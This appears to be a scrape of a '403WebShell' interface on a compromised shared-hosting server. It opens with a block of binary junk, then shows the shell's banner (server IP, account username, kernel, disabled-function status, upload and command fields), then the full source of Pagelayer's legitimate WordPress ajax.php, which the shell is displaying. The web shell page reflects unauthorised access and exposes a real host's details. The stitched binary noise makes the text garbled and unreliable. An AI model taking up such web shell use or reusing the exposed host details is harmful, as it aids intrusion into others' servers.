DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 198.54.115.249  /  Your IP : 216.73.216.121
Web Server : LiteSpeed
System : Linux server66.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : digigcnj ( 11081)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/pagelayer/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/pagelayer/main/ajax.php
<?php

//////////////////////////////////////////////////////////////
//===========================================================
// ajax.php
//===========================================================
// PAGELAYER
// Inspired by the DESIRE to be the BEST OF ALL
// ----------------------------------------------------------
// Started by: Pulkit Gupta
// Date:       23rd Jan 2017
// Time:       23:00 hrs
// Site:       http://pagelayer.com/wordpress (PAGELAYER)
// ----------------------------------------------------------
// Please Read the Terms of use at http://pagelayer.com/tos
// ----------------------------------------------------------
//===========================================================
// (c)Pagelayer Team
//===========================================================
//////////////////////////////////////////////////////////////

// Are we being accessed directly ?
if(!defined('PAGELAYER_VERSION')) {
	exit('Hacking Attempt !');
}

// Is the nonce there ?
if(empty($_REQUEST['pagelayer_nonce'])){
	return;
}

pagelayer_memory_limit(128);

// The ajax handler
add_action('wp_ajax_pagelayer_wp_widget', 'pagelayer_wp_widget_ajax');
function pagelayer_wp_widget_ajax(){

	global $pagelayer;

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if(!current_user_can('edit_theme_options')){		
		$ret['error'][] = __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	pagelayer_load_shortcodes();
	
	header('Content-Type: application/json');
	
	$ret = [];
	$tag = @$_POST['tag'];
	//pagelayer_print($pagelayer->shortcodes[$tag]);
	
	// No tag ?
	if(empty($pagelayer->shortcodes[$tag])){
		$ret['error'][] =  __pl('no_tag');
		pagelayer_json_output($ret);
	}
	
	// Include the widgets
	include_once(ABSPATH . 'wp-admin/includes/widgets.php');
	
	$class = $pagelayer->shortcodes[$tag]['widget'];
	
	// Check the widget class exists ?
	if(empty($class) || !class_exists($class)){
		$ret['error'][] =  __pl('no_widget_class');
		pagelayer_json_output($ret);
	}
	
	$instance = [];
	$widget = new $class();
	$widget->_set('pagelayer-widget-1234567890');
	
	// Is there any existing data ?
	if(!empty($_POST['widget_data'])){
		$json = json_decode(stripslashes($_POST['widget_data']), true);
		//pagelayer_print($json);die();
		if(!empty($json)){
			$instance = $json;
		}
	}

	// Are there any form values ?
	if(!empty($_POST['values'])){		
		parse_str(stripslashes($_POST['values']), $data);
		//pagelayer_print($data);die();
		
		// Any data ?
		if(!empty($data)){
		
			// Rss widget checkboxes fix
			if(!empty($data['widget-rss'])){
				$data['widget-rss']['pagelayer-widget-1234567890']['show_summary'] = empty($data['widget-rss']['pagelayer-widget-1234567890']['show_summary'])? 0 : 1;
				$data['widget-rss']['pagelayer-widget-1234567890']['show_author'] = empty($data['widget-rss']['pagelayer-widget-1234567890']['show_author'])? 0 : 1;
				$data['widget-rss']['pagelayer-widget-1234567890']['show_date'] = empty($data['widget-rss']['pagelayer-widget-1234567890']['show_date'])? 0 : 1;				
			}
			
			// First key is useless
			$data = current($data);
			
			// Do we still have valid data ?
			if(!empty($data)){
				
				// 2nd key is useless and just over-ride instance
				$instance = current($data);
				
			}
		}
	}
	
	// Settings instance For Text widget
	if($widget->id_base == 'text'){
		$instance['visual'] = false;
		$instance['legacy'] = false;
	}
	
	// Get the form
	ob_start();
	$widget->form($instance);
	$ret['form'] = ob_get_contents();
	ob_end_clean();
	
	// Get the html
	ob_start();
	$widget->widget([], $instance);
	$ret['html'] = ob_get_contents();
	ob_end_clean();
	
	// Widget data to set
	if(!empty($instance)){
		$ret['widget_data'] = $instance;
	}
	
	// Custom html widget form elements
	if(!empty($widget) && $widget->name=='Custom HTML'){
		$custom_html = explode('>', $ret['form']);
	
		$custom_html[0] = '<label for="widget-custom_html-pagelayer-widget-1234567890-title">Title:</label>'.$custom_html[0];
		$custom_html[0] = str_replace('type="hidden"', 'type="text"',$custom_html[0]);
		
		$custom_html[1] = '<label for="widget-custom_html-pagelayer-widget-1234567890-content">Content:</label>'.$custom_html[1];
		$custom_html[1] = str_replace('hidden', '', $custom_html[1]);
		
		$ret['form'] = implode('>', $custom_html);
	}
	
	pagelayer_json_output($ret);
	
}

// Update Post content
add_action('wp_ajax_pagelayer_save_content', 'pagelayer_save_content');
function pagelayer_save_content(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

	$content = $_POST['pagelayer_update_content'];

	$postID = (int) $_GET['postID'];
	
	if(empty($postID)){
		$msg['error'] = __pl('invalid_post_id');
		pagelayer_json_output($msg);
	}
	
	$_post = get_post($postID);
	
	// Post found ?
	if(empty($_post)){
		$msg['error'] = __pl('invalid_post_id');
		pagelayer_json_output($msg);
	}
	
	// Get the post type and its capabilities
	$post_type = $_post->post_type;
	$post_type_obj = get_post_type_object($post_type);
	
	// Are you allowed to edit ?
	if(!pagelayer_user_can_edit($postID)){
		$msg['error'][] =  __pl('no_permission');
		pagelayer_json_output($msg);
	}
	
	// Check if the post exists	
	if(!empty($postID)){
		
		$content = base64_decode($content);
		
		/*if(!pagelayer_is_utf8($content)){
			$content = utf8_encode($content);
		}*/
		
		$is_xss = pagelayer_xss_content($content);
		 
		if(!pagelayer_user_can_add_js_content() && strlen($is_xss) > 0){
			$msg['error'][] =  __pl('xss_found').' - '.$is_xss;
			pagelayer_json_output($msg);
		}
		
		// Add slash to save data in post
		$content = wp_slash($content);
		
		$post = array(
			'ID' => $postID,
			'post_content' => $content,
		);
		
		// Any properties ?
		$allowed = ['post_title', 'post_name', 'post_excerpt', 'post_status', 'post_password', 'post_date', 'post_parent', 'menu_order'];

		foreach($allowed as $k){
			if(isset($_REQUEST[$k])){
				$post[$k] = sanitize_text_field($_REQUEST[$k]);
			}
		}
		
		// Restrict contributors from setting 'publish' or modifying unauthorized fields
		$can_publish = current_user_can($post_type_obj->cap->publish_posts);
		if(!$can_publish){
			if(!in_array($post['post_status'], ['draft', 'pending'])){
				$post['post_status'] = 'pending'; // Force pending status
			}
		}
		
		if(!empty($post['post_password'])){
			if($_REQUEST['post_sticky'] == true){
				$msg['error'] = __pl('post_pass_with_sticky_err');
				pagelayer_json_output($msg);
			}
			
			// Prevent unauthorized password protection
			$can_protect = current_user_can($post_type_obj->cap->edit_private_posts);
			if(!$can_protect){
				$msg['error'][] = __pl('no_permission_to_set_password');
				pagelayer_json_output($msg);
			}
		}
		
		// Prevent unauthorized modification of `post_author`
		if(isset($_REQUEST['post_author']) && $_REQUEST['post_author'] != $_post->post_author){

			$edit_others_posts = current_user_can($post_type_obj->cap->edit_others_posts);

			if($edit_others_posts){
				$post['post_author'] = (int) $_REQUEST['post_author'];
			}else{
				$msg['error'][] = __pl('no_permission_to_change_author');
				pagelayer_json_output($msg);
			}
		}

		$post['comment_status'] = !empty($_REQUEST['comment_status']) ? 'open' : 'closed';
		$post['ping_status'] = !empty($_REQUEST['ping_status']) ? 'open' : 'closed';
		$post['post_status'] = empty($post['post_status']) ? $_post->post_status : $post['post_status'];
		
		if(!empty($post['post_status']) && $post['post_status'] == 'publish'){
			
			// Allowed to publish pages ?
			if($_post->post_type == 'page' && !current_user_can('publish_pages')){
				$msg['error'][] =  __pl('no_publish_permission');
				pagelayer_json_output($msg);
			}
			
			// Allowed to publish posts ?
			if($_post->post_type == 'post' && !current_user_can('publish_posts')){
				$post['post_status'] = 'pending';
			}
		}
		
		if(!empty($post['post_password'])){
			$post['post_password'] = (in_array($post['post_status'], array('pass_protected', 'publish')) ? $post['post_password'] : '');
			$post['post_status'] = 'publish';
		}else{	
			$post['post_status'] = ($post['post_status'] == 'pass_protected') ? 'publish' : $post['post_status'];
			$post['post_password'] = '';
		}
		
		// Set post GMT time
		if(!empty($post['post_date']) && '0000-00-00 00:00:00' !== $post['post_date']){
			$post['post_date_gmt'] = get_gmt_from_date( $post['post_date'] );
			
			if( in_array($post['post_status'], array('future', 'publish')) && $_post->post_date_gmt === '0000-00-00 00:00:00' ){
				$post['edit_date'] = true;
			}
		}
		
		$_REQUEST['featured_image'] = (int) $_REQUEST['featured_image'];
		if(!empty($_REQUEST['featured_image'])){
			set_post_thumbnail($postID, $_REQUEST['featured_image']);
		}else{
			delete_post_thumbnail($postID);
		}
		
		if(!isset($_REQUEST['post_category'])){
			$_REQUEST['post_category'] = '';
		}
		
		if(!isset($_REQUEST['post_tags'])){
			$_REQUEST['post_tags'] = '';
		}
		
		if($_post->post_type == 'post'){
			$post['post_category'] = pagelayer_sanitize_text_field($_REQUEST['post_category']);
			
			$post['tags_input'] = pagelayer_sanitize_text_field($_REQUEST['post_tags']);
		}else{
			$cat_name = pagelayer_post_type_category($_post->post_type);
			if($cat_name){
				$post['tax_input'][$cat_name] = pagelayer_sanitize_text_field($_REQUEST['post_category']);				
			}			
			
			$tag_name = pagelayer_post_type_tag($_post->post_type);
			if($tag_name){
				$post['tax_input'][$tag_name] = pagelayer_sanitize_text_field($_REQUEST['post_tags']);				
			}	
		}
		
		if(isset($_REQUEST['post_sticky']) && !empty($_REQUEST['post_sticky'])){
			stick_post( $postID );
		}else{
			if(is_sticky($postID)){
				unstick_post( $postID );
			}
		}
			
		// Any contact templates ?
		if(!empty($_REQUEST['contacts'])){
			update_post_meta($postID, 'pagelayer_contact_templates', $_REQUEST['contacts']);
		}else{
			delete_post_meta($postID, 'pagelayer_contact_templates');
		}
		
		// Save copyright
		if(isset($_REQUEST['copyright']) && current_user_can('manage_options')){
			update_option('pagelayer-copyright', wp_unslash($_REQUEST['copyright']));	
		}
		
		// Apply a filter
		$post = apply_filters('pagelayer_save_content', $post);
		
		// Update the post into the database
		$ret = wp_update_post($post, true);
		
		// Render the post
		//update_post_meta($postID, 'pagelayer_rendered_post', pagelayer_get_post_content($postID));

		if (is_wp_error($ret)) {
			$errors = $ret->get_error_messages();			
			$msg['error'] = __pl('post_update_err').' : '.implode('', $errors);
		}else{
			
			// Get the updated post
			$_post = get_post($postID);
			
			// Is this a Pagelayer post
			$data = get_post_meta($postID, 'pagelayer-data', true);

			if(empty($data)){
				
				// Convert to pagelayer accessed post
				if(!add_post_meta($postID, 'pagelayer-data', time(), true)){
					update_post_meta($postID, 'pagelayer-data', time());
				}
			}
			
			$msg['success'] = __pl('post_update_success');
		}
		
	}else{
		$msg['error'] = __pl('post_update_err');
	}
	
	$msg['post_status'] = (empty($_post->post_password)) ? $_post->post_status : 'pass_protected';
	
	// Save global widgets data
	if(!empty($_REQUEST['global_widgets'])){
		pagelayer_save_templ_content(true);
	}
	
	// Save nav menu data
	if(!empty($_REQUEST['pagelayer_nav_items']) && current_user_can('edit_theme_options')){
		$menu_items = (array) $_REQUEST['pagelayer_nav_items'];
		foreach($menu_items as $items){
			pagelayer_save_nav_menu_items($items);
		}
	}
	
	// Save Customizer data
	if(!empty($_REQUEST['pagelayer_customizer_options']) && current_user_can('edit_theme_options')){
		
		$customizer_options = wp_unslash($_REQUEST['pagelayer_customizer_options']);
		$customizer_options = json_decode($customizer_options, true);
		
		// Add current post type
		$customizer_options['pagelayer_current_post_type'] = $_post->post_type;
		
		pagelayer_save_customizer_options($customizer_options);
	}
	
	pagelayer_json_output($msg);
	
}

// Save sections and global sections
add_action('wp_ajax_pagelayer_save_templ_content', 'pagelayer_save_templ_content');
function pagelayer_save_templ_content($echo = false){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if ( ! current_user_can( get_post_type_object( 'pagelayer-template' )->cap->create_posts ) ) {
		$ret['error'][$g_post_id] = __pl('no_permission');	
		pagelayer_json_output($ret);
		return false;
	}
	
	// Are you allowed to edit ?
	if(!pagelayer_user_can_edit($_REQUEST['postID'])){
		$msg['error'][] =  __pl('no_permission');
		pagelayer_json_output($msg);
	}
	
	$ret = array();
	
	// Save global widgets data
	if(empty($_REQUEST['global_widgets'])){
		$ret['error'][] = 'No widgets given';	
		pagelayer_json_output($ret);
		return false;
	}
	
	$global_widgets = $_REQUEST['global_widgets'];

	foreach($global_widgets as $key => $value){
		
		$g_post_id = (int) $value['post_id'];
		
		// Are you allowed to edit ?
		if(!empty($g_post_id) && !pagelayer_user_can_edit($g_post_id)){
			$ret['error'][$g_post_id] =  __pl('no_permission').' : '.$g_post_id;
			continue;
		}
		
		// Decode base64 data
		$value['content'] = base64_decode($value['content']);
		
		$is_xss = pagelayer_xss_content($value['content']);
		 
		if(!current_user_can('manage_options') && strlen($is_xss) > 0){
			$ret['error'][$g_post_id] =  __pl('xss_found').' - '.$is_xss;
			pagelayer_json_output($ret);
		}
		
		// Add slash to save data in post
		$value['content'] = wp_slash($value['content']);
		
		// We need to create the post
		if(empty($value['post_id'])){
			
			$g_ret = wp_insert_post([
				'post_type' => 'pagelayer-template',
				'post_title' => $value['title'],
				'post_content' => $value['content'],
				'post_status' => 'publish',
				'comment_status' => 'closed',
				'ping_status' => 'closed'
			]);
			
			$g_post_id = $g_ret;
			
			// Save our template metas
			update_post_meta($g_post_id, 'pagelayer_template_type', $value['type']);
			update_post_meta($g_post_id, 'pagelayer-data', time());
			
		}else if(!empty($value['content'])){
			
			// Save global widget content
			$post = array(
				'ID' => $g_post_id,
				'post_title' => $value['title'],
				'post_content' => $value['content'],
			);
			
			wp_update_post($post);
		}
		
		if(is_wp_error($g_post_id)){
			$ret['error'][$g_post_id] = __pl('template_update_err');
		}else{
			$ret['success'][$g_post_id] = __pl('template_update_success');
		}
	}
	
	if(!$echo){ 
		pagelayer_json_output($ret);
	}else{
		return $ret;
	}
}

// Update the Site Title
add_action('wp_ajax_pagelayer_set_jscss_giver', 'pagelayer_set_jscss_giver');
function pagelayer_set_jscss_giver(){
	global $wpdb;

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if( !current_user_can('manage_options') ){
		$ret['error'] =  __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	$val = (int) @$_REQUEST['set'];
	
	if(in_array($val, [1, -1])){
		update_option('pagelayer_enable_giver', $val);
	}
	
	$ret['success'] =  1;
	pagelayer_json_output($ret);
}

// Shortcodes Widget Handler
add_action('wp_ajax_pagelayer_do_shortcodes', 'pagelayer_do_shortcodes');
function pagelayer_do_shortcodes(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if(!current_user_can('edit_posts')){// TODO : WooCommerce
		$ret['error'][] = __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	$data = '';
	if(isset($_REQUEST['shortcode_data'])){
		$data = stripslashes($_REQUEST['shortcode_data']);
	}

	// Load shortcodes
	pagelayer_load_shortcodes();

	$data = pagelayer_the_content($data);
	
	// Create the HTML object
	$node = pagelayerQuery::parseStr($data);
	$node->query('.pagelayer-ele')->removeClass('pagelayer-ele');
	echo $node->html();
	
	wp_die();
	
}

// Give the JS
add_action('wp_ajax_pagelayer_givejs', 'pagelayer_givejs');
function pagelayer_givejs(){
	
	global $pagelayer;
	
	// WordPress adds the Expires header in all AJAX calls. We need to remove it for cache to work
	header_remove("Expires");
	header_remove("Cache-Control");
	
	// Load shortcodes
	pagelayer_load_shortcodes();
	
	// Load font options
	pagelayer_load_font_options();
	
	// Pagelayer Template Loading Mechanism
	include_once(PAGELAYER_DIR.'/js/givejs.php');
	
	exit();
	
}

add_action('wp_ajax_pagelayer_givecss', 'pagelayer_givecss');
add_action('wp_ajax_nopriv_pagelayer_givecss', 'pagelayer_givecss');
function pagelayer_givecss(){
	
	global $pagelayer;
	
	// WordPress adds the Expires header in all AJAX calls. We need to remove it for cache to work
	header_remove("Expires");
	header_remove("Cache-Control");
			
	// Pagelayer Template Loading Mechanism
	include_once(PAGELAYER_DIR.'/css/givecss.php');
	
	exit();
	
}

// Shortcodes Widget Handler
add_action('wp_ajax_pagelayer_get_section_shortcodes', 'pagelayer_get_section_shortcodes');
function pagelayer_get_section_shortcodes(){
	
	global $pagelayer;
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if(!current_user_can('edit_posts')){
		$ret['error'][] = __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	$data = '';
	if(isset($_REQUEST['pagelayer_section_id'])){
		
		$get_url = PAGELAYER_API.'/library.php?give_id='.$_REQUEST['pagelayer_section_id'].(!empty($pagelayer->license['license']) ? '&license='.$pagelayer->license['license'] : '').'&url='.rawurlencode(site_url());
		
		// For SitePad users
		if(function_exists('get_softaculous_file')){
			$get_url = get_softaculous_file($get_url, 1);
		}
		
		$fetch = wp_remote_get($get_url, array('timeout' => 60));
		
		if ( is_array( $fetch ) && ! is_wp_error( $fetch ) && isset( $fetch['body'] ) ) {
			$data = json_decode( $fetch['body'], true ); // use the content
		}else{
			$data['error'] = __pl('The response was malformed');
			pagelayer_json_output($data);
		}
	}
	
	if(isset($_REQUEST['postID'])){
		$post_id = (int) $_REQUEST['postID'];
		
		if(!empty($post_id)){
			$post = get_post( $post_id );
			// Need to make the reviews post global 
			if ( !empty( $post ) ) {
				$GLOBALS['post'] = $post;
				
				$GLOBALS['wp_query'] = new WP_Query([
					'post_type' => $GLOBALS['post']->post_type,
					'post__in' => array($post_id),
				]);
			}
		}
	}
	
	// Upload the images if any in the shortcode
	preg_match_all('/"'.preg_quote('{{pl_lib_images}}', '/').'([^"]*)"/is', $data['code'], $matches);
	
	foreach($matches[0] as $k => $v){
		$image_url = trim($v, '"\'');
		$urls[$image_url] = $image_url;
	}
	
	foreach($urls as $k => $image_url){
		
		$file = basename($image_url);
		$id = 0;
		
		// Upload this
		if(!empty($data[$file])){
			
			$id = pagelayer_upload_media($file, base64_decode($data[$file]));
			
			if(!empty($id)){
				$data['code'] = str_replace('"'.$image_url.'"', '"'.$id.'"', $data['code']);
			}
		}
		
	}

	// Load shortcodes
	pagelayer_load_shortcodes();
	
	if(!empty($data['code'])){
		$data['code'] = pagelayer_the_content($data['code'], true);
	}
	
	pagelayer_json_output($data);

}

// Shortcodes Widget Handler
add_action('wp_ajax_pagelayer_get_section_blocks', 'pagelayer_get_section_blocks');
function pagelayer_get_section_blocks(){
	
	global $pagelayer;
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if(!current_user_can('edit_posts')){
		$ret['error'][] = __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	$data = '';
	if(isset($_REQUEST['pagelayer_section_id'])){
		
		$get_url = PAGELAYER_API.'/library.php?give_id='.$_REQUEST['pagelayer_section_id'].(!empty($pagelayer->license['license']) ? '&license='.$pagelayer->license['license'] : '').'&url='.rawurlencode(site_url());
		
		// For SitePad users
		if(function_exists('get_softaculous_file')){
			$get_url = get_softaculous_file($get_url, 1);
		}
		
		$fetch = wp_remote_get($get_url, array('timeout' => 60));
		
		if ( is_array( $fetch ) && ! is_wp_error( $fetch ) && isset( $fetch['body'] ) ) {
			$data = json_decode( $fetch['body'], true ); // use the content
		}else{
			$data['error'] = __pl('The response was malformed');
			pagelayer_json_output($data);
		}
	}
	
	// Upload the images if any in the shortcode
	preg_match_all('/"'.preg_quote('{{pl_lib_images}}', '/').'([^"]*)"/is', $data['code'], $matches);
	
	foreach($matches[0] as $k => $v){
		$image_url = trim($v, '"\'');
		$urls[$image_url] = $image_url;
	}
	
	foreach($urls as $k => $image_url){
		
		$file = basename($image_url);
		$id = 0;
		
		// Upload this
		if(!empty($data[$file])){
			
			$id = pagelayer_upload_media($file, base64_decode($data[$file]));
			
			if(!empty($id)){
				$data['code'] = str_replace('"'.$image_url.'"', '"'.$id.'"', $data['code']);
			}
		}
		
	}
	
	if ( false !== strpos( $data['code'], '[pl_' ) ) {
		// Load shortcodes
		pagelayer_load_shortcodes();
		
		// Load Parse Shortcodes
		include_once(PAGELAYER_DIR.'/main/parse-shortcodes.php');
		
		$data['code'] = pagelayer_do_shortcode_to_block($data['code']);
	}
	
	$data['code'] = pagelayer_add_tmp_atts($data['code']);
	
	pagelayer_json_output($data);

}

// Get the Site Title
add_action('wp_ajax_pagelayer_fetch_site_title', 'pagelayer_fetch_site_title');
function pagelayer_fetch_site_title(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	echo get_bloginfo('name');
	wp_die();
}

// Update the Site Title
add_action('wp_ajax_pagelayer_update_site_title', 'pagelayer_update_site_title');
function pagelayer_update_site_title(){
	global $wpdb;

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

	$site_title = $_POST['site_title'];
	
	if(!current_user_can('manage_options')){
		$ret['error'][] = __pl('no_permission');
		pagelayer_json_output($ret);
	}

	update_option('blogname', $site_title);
	
	wp_die();
}

// Show the SideBars
add_action('wp_ajax_pagelayer_fetch_sidebar', 'pagelayer_fetch_sidebar');
function pagelayer_fetch_sidebar(){
	
	global $wp_registered_sidebars;

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	// Create a list
	$pagelayer_wp_widgets = array();
	
	foreach($wp_registered_sidebars as $v){
		$pagelayer_wp_widgets[$v['id']] = $v['name'];
	}
	
	$id = @$_REQUEST['sidebar'];
		
	if(function_exists('dynamic_sidebar') && !empty($pagelayer_wp_widgets[$id])) {
		ob_start();
		dynamic_sidebar($id);
		$result = ob_get_clean();
	}else{
		$result =  __pl('no_widget_area');
	}
	
	echo $result;
	wp_die();
	
}

// Show the primary menu !
add_action('wp_ajax_pagelayer_fetch_primary_menu', 'pagelayer_fetch_primary_menu');
function pagelayer_fetch_primary_menu(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if(isset($_POST['nav_list'])){
		$_POST['nav_list'] = (int) $_POST['nav_list'];
		
		// Load Pagelayer nav menu walker
		include_once(PAGELAYER_DIR.'/main/nav_walker.php');
		
		$postID = (int) $_REQUEST['postID'];
		
		// To on live mode
		$GLOBALS['post'] = get_post($postID);
		$GLOBALS['wp_query'] = new WP_Query([
			'post_type' => $GLOBALS['post']->post_type,
			'post__in' => array($postID),
		]);
		
		// Load short
		pagelayer_load_shortcodes();
		
		wp_nav_menu([
			'menu'   => wp_get_nav_menu_object($_POST['nav_list']),
			'menu_id' => $_POST["nav_list"],
			'menu_class' => 'pagelayer-wp_menu-ul',
			'walker' => new Pagelayer_Walker_Nav_Menu(),
			//'theme_location' => 'primary',
			'echo'	 => true,
		]);
	}
	
	wp_die();
}

// Save post revision 
add_action('wp_ajax_pagelayer_create_post_autosave', 'pagelayer_create_post_autosave');
function pagelayer_create_post_autosave(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$ret = array();
	$postID = (int) $_GET['postID'];	
	$content = $_REQUEST['pagelayer_post_content'];
	
	// Decode base64 data
	$content = base64_decode($content);
	$content = wp_slash($content);
	
	// Are you allowed to edit ?
	if(!pagelayer_user_can_edit($postID)){
		$ret['error'][] =  __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	if(empty($postID)){
		$ret['error'] =  __pl('invalid_post_id');
	}else{
		
		$post = array(
			'post_ID' => $postID,
			'post_content' => $content,
		);
		
		$ret['id'] = wp_create_post_autosave($post);
	}
	
	$ret['url'] = get_preview_post_link($postID);
	
	pagelayer_json_output($ret);
	
}

// Get post revision 
add_action('wp_ajax_pagelayer_get_revision', 'pagelayer_get_revision');
function pagelayer_get_revision(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

	$ret = array();
	$postID = (int) $_GET['postID'];

	// Are you allowed to edit ?
	if(!pagelayer_user_can_edit($postID)){
		$ret['error'][] =  __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	if(empty($postID)){
		$ret['error'] =  __pl('invalid_post_id');
	}else{
		$ret = pagelayer_get_post_revision_by_id($postID);
	}
	
	pagelayer_json_output($ret);
	
}

// Apply post revision
add_action('wp_ajax_pagelayer_apply_revision', 'pagelayer_apply_revision');
function pagelayer_apply_revision(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

	$revisionID = (int) $_REQUEST['revisionID'];
	$parID = wp_get_post_parent_id($revisionID);
	$ret = array();
	
	if(empty($parID)){
		$parID = $revisionID;
	}
	
	// Are you allowed to edit ?
	if(!pagelayer_user_can_edit($parID)){
		$ret['error'][] =  __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	if(empty($revisionID)){
		$ret['error'] =  __pl('invalid_post_id');
	}else{
		
		$post = get_post( $revisionID );
		
		if ( empty( $post ) ) {
			$ret['error'] =  __pl('invalid_revision');
			pagelayer_json_output($ret);
		}
		
		// Need to make the reviews post global 
		$GLOBALS['post'] = $post;
		$GLOBALS['wp_query'] = new WP_Query([
			'post_type' => $GLOBALS['post']->post_type,
			'post__in' => array($parID),
		]);
		
		// Need to reload the shortcodes
		pagelayer_load_shortcodes();
		
		$ret['id'] = $revisionID;
		$ret['content'] = pagelayer_the_content($post->post_content, true);
		
		if(is_wp_error($post)) {
			$ret['error'] =  __pl('rev_load_error');
		}else{
			$ret['success'] = __pl('rev_load_success');
		}
		
